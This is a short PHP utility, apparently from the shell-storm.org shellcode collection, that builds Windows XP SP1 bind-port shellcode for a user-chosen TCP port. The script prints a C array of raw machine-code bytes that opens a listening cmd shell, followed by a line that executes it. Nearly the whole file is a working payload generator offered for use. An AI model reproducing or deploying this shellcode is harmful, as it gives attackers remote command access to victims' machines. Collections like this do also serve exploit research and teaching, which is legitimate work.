<?php
/*
Utility  : Generate Payload PortBind Windows XP/SP1
Author  : Jonathan Salwan
Mail  : submit [!] shell-storm.org

  More shellcodes in => http://www.shell-storm.org/shellcode/
*/

function syntax()
  {
  echo "\nSyntax:\nroot@laptop:/# php ./payload.php <port>\n\n";
  }

function win32bind($port)
    {
    if($port > 65535 || $port < 4100){
      echo "Erreur Port\nSelect a port between 4100 and 65535\n";
      return false;
      }

    $inser .= "\nchar shellcode[] = \n";
    $inser .= "      /* BindPort TCP/$port; Os:XP/SP1; Gen:http://www.shell-storm.org */\n";
    $inser .= "\n";

    $inser .= "      \x22\\x83\\xC4\\xEC\\x33\\xC0\\x50\\x50\\x50\\x6A\\x06\\x6A\\x01\\x6A\\x02\\xB8\x22\n";
    $inser .= "      \x22\\x01\\x5A\\xAB\\x71\\xFF\\xD0\\x8B\\xD8\\x33\\xC0\\x89\\x45\\xF4\\xB0\\x02\x22\n";
    $inser .= "      \x22\\x66\\x89\\x45\\xF0\\x66\\xC7\\x45\\xF2";
    $inser .= "\\x";

    $res_port   = base_convert($port, 10, 16);

    $length   = strlen($res_port)-1;
    $i     = 1;

    for($idx = 0; $idx < $length+1; $idx++)
    {
    $i++;
    if($i == 4)    
    $inser .= "\\x";

    $inser .= $res_port[$idx];
    }
    $inser .= "\\x6A\\x10\\x8D\\x55\\xF0\x22\n";
    $inser .= "      \x22\\x52\\x53\\xB8\\xCE\\x3E\\xAB\\x71\\xFF\\xD0\\x6A\\x01\\x53\\xB8\\xE2\\x5D\x22\n";
    $inser .= "      \x22\\xAB\\x71\\xFF\\xD0\\x33\\xC0\\x50\\x50\\x53\\xB8\\x8D\\x86\\xAB\\x71\\xFF\x22\n";
    $inser .= "      \x22\\xD0\\x8B\\xD8\\xBA\\x1D\\x20\\xE8\\x77\\x53\\x6A\\xF6\\xFF\\xD2\\x53\\x6A\x22\n";
    $inser .= "      \x22\\xF5\\xFF\\xD2\\x53\\x6A\\xF4\\xFF\\xD2\\xC7\\x45\\xFB\\x41\\x63\\x6D\\x64\x22\n";
    $inser .= "      \x22\\x8D\\x45\\xFC\\x50\\xB8\\x44\\x80\\xC2\\x77\\xFF\\xD0\x22\x3b\n\n";
    $inser .= "  printf(\x22Length: %d\\n\x22,strlen(shellcode));\n";
    $inser .= "  (*(void(*)()) shellcode)();\n\n";

  return $inser;
}

if($argc < 2){
  syntax();
  return false;
  }
    $port = $argv[1];
    echo win32bind($port);

?>